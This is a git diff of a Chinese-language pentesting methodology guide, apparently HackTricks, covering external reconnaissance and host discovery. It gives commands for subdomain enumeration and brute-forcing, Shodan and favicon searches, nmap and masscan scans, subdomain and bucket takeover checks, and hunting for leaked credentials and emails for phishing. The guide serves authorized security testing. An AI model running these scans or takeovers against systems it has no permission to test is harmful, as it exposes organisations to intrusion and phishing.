|
||||
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务(需要 whoxy API 密钥)。\
|
||||
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink)(需要 whoxy API 密钥)自动化此任务。\
|
||||
您还可以使用 [amass](https://github.com/OWASP/Amass) 执行一些自动反向 whois 发现:`amass intel -d tesla.com -whois`
|
||||
|
||||
**请注意,您可以使用此技术在每次找到新域名时发现更多域名。**
|
||||
|
||||
### **跟踪器**
|
||||
|
||||
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以假设 **这两个页面** 是 **由同一团队管理**。\
|
||||
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\
|
||||
例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。
|
||||
|
||||
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索:
|
||||
@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **Favicon**
|
||||
|
||||
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它:
|
||||
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域名和子域名吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
@ -126,7 +126,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
这是您如何**计算网页的 favicon 哈希**:
|
||||
这就是您如何**计算网站的 favicon 哈希**:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
@ -141,7 +141,7 @@ return fhash
|
||||
```
|
||||
### **版权 / 唯一字符串**
|
||||
|
||||
在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器**或甚至在 **shodan** 中搜索该字符串: `shodan search http.html:"Copyright string"`
|
||||
在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器** 或甚至 **shodan** 中搜索该字符串: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT 时间**
|
||||
|
||||
@ -150,18 +150,18 @@ return fhash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
在服务器上更新所有域证书。这意味着即使用于此的CA没有在有效期中设置生成时间,也可以**在证书透明日志中找到属于同一公司的域**。\
|
||||
在服务器上更新所有域证书。这意味着即使用于此的CA没有在有效期内设置生成时间,也可以**在证书透明日志中找到属于同一公司的域**。\
|
||||
查看这个[**写作以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。
|
||||
|
||||
### 邮件 DMARC 信息
|
||||
|
||||
您可以使用一个网站,如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具,如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。
|
||||
您可以使用网站如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或工具如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。
|
||||
|
||||
### **被动接管**
|
||||
|
||||
显然,人们常常将子域分配给属于云服务提供商的IP,并在某个时刻**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如 Digital Ocean),您实际上将**接管一些子域**。
|
||||
显然,人们常常将子域分配给属于云服务提供商的IP,并在某个时候**失去该IP地址但忘记删除DNS记录**。因此,仅仅**在云中创建一个虚拟机**(如 Digital Ocean),您实际上将**接管一些子域**。
|
||||
|
||||
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建一个虚拟机**,**获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域记录**。
|
||||
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建虚拟机**,**获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域记录**。
|
||||
|
||||
### **其他方法**
|
||||
|
||||
@ -169,19 +169,19 @@ return fhash
|
||||
|
||||
**Shodan**
|
||||
|
||||
如您所知,您可以使用IP空间的组织名称进行搜索。您可以在 Shodan 中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域。
|
||||
如您所知,拥有该IP空间的组织名称。您可以在shodan中使用该数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域。
|
||||
|
||||
您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`,或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。
|
||||
您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`或使用工具如[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)。
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**和其**子域**的工具,非常惊人。
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**及其**子域**的工具,非常惊人。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
检查一些[域接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。
|
||||
|
||||
如果您发现任何**IP与您在资产发现中找到的不同的域**,您应该执行**基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
|
||||
如果您发现任何**IP与您在资产发现中找到的不同**的域,您应该执行**基本漏洞扫描**(使用Nessus或OpenVAS)和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**这本书中找到一些“攻击”它们的技巧**。\
|
||||
_请注意,有时域托管在不受客户控制的IP内,因此不在范围内,请小心。_
|
||||
|
||||
## 子域
|
||||
@ -287,7 +287,7 @@ crt tesla.com
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网上抓取JS文件并从中提取子域名。
|
||||
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网络上抓取JS文件并从中提取子域名。
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的封装,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的包装器,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步地进行域名暴力破解。
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步暴力破解域名。
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。
|
||||
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **词表**。
|
||||
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**。
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
||||
#### 智能排列生成
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中提取 **主要部分** 并将其混合以找到更多子域名。
|
||||
- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中提取 **主要部分** 并进行混合以找到更多子域名。
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
@ -435,10 +435,10 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||
#https://github.com/codingo/VHostScan
|
||||
VHostScan -t example.com
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 使用此技术,您甚至可能能够访问内部/隐藏的端点。
|
||||
|
||||
### **CORS 暴力破解**
|
||||
### **CORS Brute Force**
|
||||
|
||||
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。
|
||||
```bash
|
||||
@ -446,57 +446,57 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
```
|
||||
### **桶暴力破解**
|
||||
|
||||
在寻找 **子域名** 时,注意它是否 **指向** 任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
此外,既然此时你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
|
||||
在寻找**子域名**时,注意是否指向任何类型的**桶**,在这种情况下,请[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**。**\
|
||||
此外,既然此时您将知道所有在范围内的域名,请尝试[**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
|
||||
|
||||
### **监控**
|
||||
|
||||
你可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新的子域名**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
|
||||
您可以通过监控**证书透明度**日志来**监控**某个域名是否创建了**新子域名**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||
如果 **子域名** 指向某个 **S3 桶**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
|
||||
检查可能的[**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||
如果**子域名**指向某个**S3桶**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
|
||||
|
||||
如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同,你应该进行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,你可以在 **本书中找到一些“攻击”它们的技巧**。\
|
||||
_请注意,有时子域名托管在不受客户控制的 IP 内,因此不在范围内,请小心。_
|
||||
如果您发现任何**子域名的IP与您在资产发现中找到的不同**,您应该执行**基本漏洞扫描**(使用Nessus或OpenVAS)和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
|
||||
_请注意,有时子域名托管在不受客户控制的IP内,因此不在范围内,请小心。_
|
||||
|
||||
## IPs
|
||||
|
||||
在初始步骤中,你可能已经 **找到了一些 IP 范围、域名和子域名**。\
|
||||
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)** 的时候了。
|
||||
在初始步骤中,您可能已经**找到了一些IP范围、域名和子域名**。\
|
||||
现在是**收集这些范围内的所有IP**以及**域名/子域名(DNS查询)**的时候了。
|
||||
|
||||
使用以下 **免费 API** 的服务,你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
使用以下**免费API**的服务,您还可以找到**域名和子域名之前使用的IP**。这些IP可能仍然归客户所有(并可能让您找到[**CloudFlare绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
|
||||
您还可以使用工具[**hakip2host**](https://github.com/hakluke/hakip2host)检查指向特定IP地址的域名。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**。
|
||||
**对所有不属于CDN的IP进行端口扫描**(因为您很可能不会在其中找到任何有趣的内容)。在发现的运行服务中,您可能**能够找到漏洞**。
|
||||
|
||||
**查找一个** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。**
|
||||
**查找** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。**
|
||||
|
||||
## 网络服务器猎杀
|
||||
|
||||
> 我们已经找到了所有公司及其资产,并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
|
||||
> 我们已经找到了所有公司及其资产,并且知道范围内的IP范围、域名和子域名。现在是搜索网络服务器的时候了。
|
||||
|
||||
在之前的步骤中,你可能已经对发现的 **IP 和域名进行了某些侦察**,因此你可能 **已经找到了所有可能的网络服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。
|
||||
在之前的步骤中,您可能已经对发现的**IP和域名进行了某些侦察**,因此您可能**已经找到了所有可能的网络服务器**。然而,如果您还没有,我们现在将看到一些**快速技巧来搜索范围内的网络服务器**。
|
||||
|
||||
请注意,这将是 **面向网络应用发现** 的,因此你也应该 **进行漏洞** 和 **端口扫描**(**如果范围允许**)。
|
||||
请注意,这将是**面向网络应用发现**的,因此您还应该**执行漏洞**和**端口扫描**(如果范围允许)。
|
||||
|
||||
一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\
|
||||
另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80 端口(http)和 443 端口(https)。此外,你可以指示尝试其他端口:
|
||||
一种**快速方法**是使用[**masscan**在这里发现与**网络**服务器相关的**开放端口**](../pentesting-network/index.html#http-port-discovery)。\
|
||||
另一个友好的工具是[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)和[**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到80端口(http)和443端口(https)。此外,您可以指示尝试其他端口:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **截图**
|
||||
|
||||
现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,开始对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。
|
||||
现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,开始对它们进行截图。仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。
|
||||
|
||||
为了执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
|
||||
要执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
|
||||
|
||||
此外,你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉你**哪些可能包含漏洞**,哪些则不然。
|
||||
|
||||
@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
电子邮件在后续**暴力破解网络登录和身份验证服务**(如SSH)时会派上用场。此外,它们在**钓鱼**中也是必需的。此外,这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。
|
||||
电子邮件在后续**暴力破解网络登录和身份验证服务**(如SSH)时会派上用场。此外,它们在**钓鱼**中也是必需的。此外,这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对钓鱼活动很有用。
|
||||
|
||||
## 凭证泄露
|
||||
|
||||
@ -553,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
|
||||
你可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
|
||||
|
||||
**Leakos** 还可以用于对所有**提供的URL文本**运行**gitleaks**,因为有时**网页也包含秘密**。
|
||||
**Leakos** 也可以用于对所有**提供的URL**进行**gitleaks**扫描,因为有时**网页也包含秘密**。
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
@ -570,7 +570,7 @@ github-leaked-secrets.md
|
||||
|
||||
### Google Dorks
|
||||
|
||||
老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此,你可以选择你最喜欢的10个,或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。
|
||||
老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此,你可以选择你最喜欢的10个,或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**。
|
||||
|
||||
_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快封锁你。_
|
||||
|
||||
@ -594,27 +594,27 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
||||
|
||||
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
|
||||
**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以 [**在这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
|
||||
**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以在 [**这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
|
||||
|
||||
我还想特别提到 [**开源工具的网络自动化扫描器**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分,因为,虽然你不应该指望它们找到非常敏感的漏洞,但它们在**工作流程中实现一些初步的网络信息**时非常有用。
|
||||
我还想特别提到 [**Web自动化扫描器开源工具**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分,因为,虽然你不应该指望它们能找到非常敏感的漏洞,但它们在**工作流程中实现一些初步的网络信息**时非常有用。
|
||||
|
||||
## 综述
|
||||
|
||||
> 恭喜!到目前为止,你已经完成了**所有基本的枚举**。是的,这很基础,因为还有很多其他的枚举可以进行(稍后会看到更多技巧)。
|
||||
> 恭喜!到目前为止,你已经完成了**所有基本枚举**。是的,这很基础,因为还有更多的枚举可以进行(稍后会看到更多技巧)。
|
||||
|
||||
所以你已经:
|
||||
|
||||
1. 找到了范围内的**所有公司**
|
||||
2. 找到了属于公司的**所有资产**(并在范围内进行了一些漏洞扫描)
|
||||
3. 找到了属于公司的**所有域名**
|
||||
4. 找到了域名的**所有子域名**(是否有子域名接管?)
|
||||
4. 找到了所有域名的**子域名**(是否有子域名接管?)
|
||||
5. 找到了范围内的**所有IP**(来自和**不来自CDN**的IP)。
|
||||
6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有任何奇怪的地方值得深入研究?)
|
||||
6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有值得深入查看的奇怪之处?)
|
||||
7. 找到了属于公司的**所有潜在公共云资产**。
|
||||
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会给你带来**非常轻松的重大胜利**。
|
||||
9. **渗透测试你找到的所有网站**
|
||||
|
||||
## **全自动侦查工具**
|
||||
## **全面侦查自动化工具**
|
||||
|
||||
有几种工具可以执行针对给定范围的部分提议操作。
|
||||
|
||||
@ -625,6 +625,6 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
||||
|
||||
## **参考文献**
|
||||
|
||||
- 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
- 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程,如 [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,23 +6,23 @@
|
||||
|
||||
## 从外部发现主机
|
||||
|
||||
这将是一个**简短的部分**,关于如何从**互联网**找到**响应的IP**。\
|
||||
在这种情况下,您有一些**IP范围**(甚至可能有多个**范围**),您只需找到**哪些IP在响应**。
|
||||
这将是一个关于如何从**互联网**找到**响应的IP**的**简要部分**。\
|
||||
在这种情况下,您有一些**IP范围**(甚至可能有几个**范围**),您只需找到**哪些IP在响应**。
|
||||
|
||||
### ICMP
|
||||
|
||||
这是发现主机是否在线的**最简单**和**最快**的方法。\
|
||||
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并期待响应。您可以使用简单的`ping`或使用`fping`进行**范围**测试。\
|
||||
您还可以使用**nmap**发送其他类型的ICMP数据包(这将避免对常见ICMP回显请求-响应的过滤)。
|
||||
您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回声请求**并期待响应。您可以使用简单的`ping`或使用`fping`来处理**范围**。\
|
||||
您还可以使用**nmap**发送其他类型的ICMP数据包(这将避免对常见ICMP回声请求-响应的过滤器)。
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
|
||||
```
|
||||
### TCP Port Discovery
|
||||
### TCP端口发现
|
||||
|
||||
很常见的是,所有类型的 ICMP 数据包都被过滤。因此,您能做的就是 **尝试查找开放端口** 来检查主机是否在线。每个主机有 **65535 个端口**,所以如果您有一个“大的”范围,您 **无法** 测试每个主机的 **每个端口** 是否开放,这将花费太多时间。\
|
||||
因此,您需要的是一个 **快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个 **使用最频繁的端口** 列表:
|
||||
很常见的情况是所有类型的ICMP数据包都被过滤。因此,您能做的就是**尝试查找开放端口**来检查主机是否在线。每个主机有**65535个端口**,所以如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\
|
||||
因此,您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**使用最频繁的端口**列表:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
@ -75,7 +75,7 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Active
|
||||
|
||||
请注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
|
||||
注意,在 [_**从外部发现主机**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里**应用**。\
|
||||
但是,由于您与其他主机在**同一网络**中,您可以做**更多事情**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
@ -98,17 +98,17 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
|
||||
注意,在 _从外部发现主机_ 中提到的技术 ([_**ICMP**_](#icmp)) 也可以 **在这里应用**。\
|
||||
但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**:
|
||||
注意,在 _Discovering hosts from the outside_ 中提到的技术 ([_**ICMP**_](#icmp)) 也可以 **在这里应用**。\
|
||||
但是,由于您与其他主机处于 **同一网络**,您可以做 **更多事情**:
|
||||
|
||||
- 如果您 **ping** 一个 **子网广播地址**,ping 应该到达 **每个主机**,它们可能会 **回应** **您**: `ping -b 10.10.5.255`
|
||||
- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机: `ping -b 255.255.255.255`
|
||||
- 使用 `nmap` 的 `-PE`、`-PP`、`-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳**和 **子网掩码请求**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- 使用 `nmap` 的 `-PE`、`-PP`、`-PM` 标志进行主机发现,分别发送 **ICMPv4 echo**、**时间戳** 和 **子网掩码请求**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔法数据包只是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\
|
||||
然后,这种类型的数据包通常以 **以太网 0x0842** 或 **UDP 数据包发送到 9 端口**。\
|
||||
这种类型的数据包通常通过 **以太网 0x0842** 或 **UDP 数据包发送到 9 端口**。\
|
||||
如果 **未提供 \[MAC]**,数据包将发送到 **广播以太网**(广播 MAC 将是被重复的那个)。
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
@ -121,10 +121,10 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
|
||||
### TCP
|
||||
|
||||
- **开放** 端口: _SYN --> SYN/ACK --> RST_
|
||||
- **关闭** 端口: _SYN --> RST/ACK_
|
||||
- **过滤** 端口: _SYN --> \[无响应]_
|
||||
- **过滤** 端口: _SYN --> ICMP 消息_
|
||||
- **开放**端口: _SYN --> SYN/ACK --> RST_
|
||||
- **关闭**端口: _SYN --> RST/ACK_
|
||||
